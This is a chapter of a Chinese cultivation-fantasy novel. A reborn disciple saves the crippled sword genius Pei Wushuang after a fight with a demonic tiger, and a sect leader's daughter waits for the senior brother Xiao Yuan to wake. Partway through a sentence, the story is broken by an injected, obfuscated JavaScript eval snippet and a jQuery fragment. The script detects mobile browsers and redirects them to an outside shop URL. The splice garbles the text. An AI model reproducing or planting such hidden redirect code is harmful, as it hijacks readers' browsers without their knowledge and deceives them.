翌日一早,谢听晚便领取了一个宗门外的任务。
裴无双身亡的地点在城池边缘的村落,所以她在出宗门之前,换上了深灰色的粗布麻服。
这样的她就算出现在田间,也不会引人注目。
在完成领取的宗门任务之后,谢听晚便沿着记忆中的地点,逐渐朝着裴无双所在的方向靠近。
这里的村落散在延绵的山坳之中,周围居住的都是普通百姓,以种田为生,大都生活拮据,能给出的报酬也少之又少,所以鲜少有弟子愿意前来。
本来这样的地方,很容易产生一些凶狠的恶兽。
可这里的一切,却是超出她预计的平和。
无魔兽灵兽作乱,也无修士压迫。
她隐约能从农人的眼中,看出他们眼中对未来的期许。
谢听晚躲着人群,快步地走在村落交互的山间。
前世,裴无双死讯传来的时间,就在今日午时。
今日,也是萧原醒来的时间,所以她记得格外清楚。
当时正在内门边缘完成宗门任务的她还很好奇,为什么裴无双的死讯,会被这么多内门弟子知晓通传。
她在归元宗十几年,从来没有听到过这个名字。
那时的她沉浸在萧原醒来的喜讯中,所以并未深究。
想到这里,谢听晚看了一眼天色,默默加快了步伐:
时间已经到了巳时。
她必须在午时之前,找到裴无双,救下她。
就在这时,她忽然在前方一座山的山脚下察觉到了一丝微弱的魔气,魔气周围,还有一些剑痕。
若是平时遇到这种危险,她一定会早早避开。
可是这一次,她却并没有犹豫,顺着魔气坚定地朝着山中走去:
一是因为这是救下裴无双的最好时机。
二是因为……前世她没有听到裴无双死之地有魔兽肆虐的消息。
越往山中走,魔气的气息便越发明显,魔兽的脚印旁,淅淅沥沥地洒着几滴鲜血。
这不像是被魔兽咬伤,更像是主动以鲜血为诱饵,引魔兽远离人群,来到人迹罕至的山中。
谢听晚继续往前走去,只是脚步多了几分谨慎:
以她的修为,不一定能从魔兽爪下全身而退,所以动作一定要小心。
就在她缓慢前行的时候,忽然听到远处传来一声兽吼。
谢听晚抬眼望去,就看到了獠牙毕露、眼冒红光的啸虎,它头上的魔角已经长了一半。
等魔角长成,它彻底成魔,山中的一切都会被它的魔气侵蚀。
周围村落中的村民也难逃一死。
啸虎身前,一个身影勉强支撑着,她身上的红色劲装被鲜血浸染,红的刺目。
一个经脉尽废,几乎不能动用灵力的修士,能将狂乱的魔兽引到深山,还在其攻击下坚持这么久,已经足够许多大能为之赞叹。
没有人会觉得裴无双会赢。
一个废人,怎么可能杀得了这样强大的魔兽?
就连猜测到前世发生了什么的谢听晚,这一刻都控制不住地怀疑起了自己。
然后,她就看到了裴无双挥出的那一剑。
没有风,也没有声音。
木剑只是那样平平无奇的从啸虎咽喉处划过,轻而易举地划开了它坚硬如铁的鳞甲。
凌厉剑气直直地从它身体中贯穿而过,却在穿透它身体另一侧的那一瞬,无声消散,连一片落叶都未惊扰。
返璞归真,落叶无伤。
周围只剩下啸虎死后身躯坠落地上的沉闷声响。
谢听晚看着啸虎尸体旁悠然落下的树叶,怔愣在了原地。
这一刻,她终于真正体会到了裴无双的强大。
也终于明白了为什么在她重伤的五十年后,依旧有人那样忌惮、嫉妒她。
这还是只是她近乎全废,没有办法使用灵力时用出的一剑。
她甚至无法想象全盛时期的裴无双,究竟强大到了什么地步。
这就是曾经的……第一天才。
裴无双全身冰冷,早已没有感知周围状况的能力。
她看到啸虎周身魔气溃散后,身体中全力压榨出来的最后一丝力气骤然消散。
刚才那一剑,耗尽了她维持经脉伤势的所有灵气。
她仿佛听到了自己血肉深处经脉寸寸断裂的声音。
可即使这样,她也依旧没有倒下。
裴无双半跪在地,裂痕遍布的木剑勉强支撑着她的身体,束起的长发遮住了她脸上所有的情绪。
她不甘。
不甘心自己就这样死在这里。
她还有想做的事情,她还有未完成的心愿,她还没有与赤霄道别。
她还……不想死。
可感受着身体中灵气的消逝,裴无双在生命的最后一刻,脑海中最后的念头却是:
幸好,她今日来到了此处。
幸好,魔兽刚开始转化,未曾伤人。
幸好,她赢了。
在山林中树叶随风而动的沙沙声中,裴无双缓缓闭上了双眼。
另一旁的谢听晚看着正午已至的时间,再也无暇在意其他,快步走到裴无双身边。
看着半跪在地,已经失去意识的人,她下意识伸手拂开了挡在她侧脸的长发。
纵然有血污的遮挡,依旧能从她清卓的脸上看出千磨百折不改其志的坚韧。
谢听晚站在她前方,半跪在她身前,一点点收回了为她整理长发的手:
可前世,归元宗无一人知她为除魔而死。
她伸出手覆在裴无双紧握木剑的手上,手中灵气倾泻,游走在她碎裂的经脉之中。
凡是她灵气经过的地方,经脉的伤势便好似凭空消失一般。
随着时间的推移,裴无双身体中的经脉已经好了大半,周身的消逝的灵气也开始再次凝聚。
与之相对的,是脸色苍白,身体已经控制不住发颤的谢听晚。
吸收完裴无双经脉所有伤势后,谢听晚松了一口气,搭在她手上的手也无力地垂了下去。
裴无双身上的伤病,比她想得还要严重几分。
这些伤势转移到她身上后,虽然已经削弱到她能承受的地步,可也只是能承受而已。
感受着全身经脉的锐痛,谢听晚脸上的表情愈发冷静。
她看了一眼已经恢复康健的裴无双,知道再过不久,她就能从昏迷中醒来。
她不能就这样在她身边等她醒来。
也不能直接了当的表明:‘是我救了你’。
这样太像是在携恩求报。
也太顺遂了……
只有经历痊愈后的惊喜,只有体会到从门可罗雀到人人恭维的变化,才能更深刻的意识到如今的一切有多来之不易。
然后再因为‘意外’找到不惜自身救下她的人……
只有这样的感激,才足够珍贵。
谢听晚勉强直起身体:
更何况,要守住自己能力的秘密,这段时间她也必须和痊愈的裴无双保持足够的距离。
她忍着经脉的疼痛,踉踉跄跄地朝着山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909422|213074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下走去。
-
归元宗无垢峰。
温千灵站在庄重安静的殿门外,神情踌躇。
她看了一眼自己身上稳重的黛青色衣裙,又理了理自己只着素簪的长发,确认自己看起来是父亲喜欢的稳重打扮后,才推开殿门走了进去。
看着高坐主位的身影,她规规矩矩地行了一礼:
“父亲。”
看到自己唯一的女儿,温尧脸上的表情依旧威严,他揉了揉眉心:
“怎么了?”
温千灵看到父亲并没有在意她的打扰,心中轻松了些许。
她试探性地开口:
“父亲,大师兄病了这么久,千灵着实担心。”
她知道父亲为了让大师兄好好修养,专门设下结界,禁止任何弟子打扰。
但她听几位师姐说,这几日大师兄大概就会醒来。
那日,是她发现了重伤的大师兄,将他救下。
若是她能在大师兄醒来时陪在他身边,那她和大师兄的关系,便不会像之前那样生疏了吧。
她知道父亲有多看重大师兄,已经做好了多求父亲几次的打算。
没有想到,这一次父亲连问都没有多问她一句,就把能进入结界的阵印递给了她。
他声音听不出喜怒,只淡淡道:
“去吧。”
温千灵惊讶的抬起头:
父亲……这就同意了吗?
虽然有些疑惑,但想到随时都有可能醒来的大师兄,她并没有多问什么,只匆匆地行了一礼,就赶紧朝着逐云峰奔去。
用阵印进入结界后,她快步走过庭院,来到了萧原床前。
这几日,在药君的治疗下,萧原惨白的脸恢复了血色,胸口的起伏也变得稳重有力。
在温尧的隐瞒下,没有人知道萧原已经修为尽废,包括他的女儿温千灵。
温千灵坐在床边的小凳上,静静地看着躺在床上的身影。
她从很小的时候就知道,比起她,父亲更看重大师兄萧原。
因为大师兄天赋极好,是百年一遇的天才修士。
如今的归元宗中没有弟子能与大师兄媲美。
进入归元宗后,大师兄修为提升的极快,不到两百岁就已经修成金丹。
大师兄是被父亲,被宗门长老,被各位峰主都一致认为资质足够继承宗门的人。
是天赋只有中品三灵根的她,只能仰望的存在。
想到这里,温千灵眼中多了几分复杂:
但大师兄一直以来都和她保持着一个不远不近的距离,哪怕她是宗主之女。
大师兄会与她交谈,会询问她修炼进度,却也仅限于此。
无论她做什么,都不能让他们两个人之间的距离靠近分毫。
但现在不同了。
温千灵眼中笑意浮现:
如今是她救下后山中无人发现的大师兄,是她寻到药堂长老为大师兄医治,保住了他的性命。
又是她守在大师兄身旁。
她会是大师兄醒来后,第一个见到的人。
想到被所有弟子敬仰的大师兄对她另眼相待的场景,温千灵忍不住扬起了唇角。
就在这时,床上的萧原睫毛微颤,下一瞬就睁开了眼睛。
温千灵蓦然回神,眼中满是惊喜:
“大师兄,你醒了!”
萧原看着床侧的身影,恍惚了一瞬。
几息后,他才想起重伤之前发生的事情,哑声问道:
“千灵师妹,是你救了我?”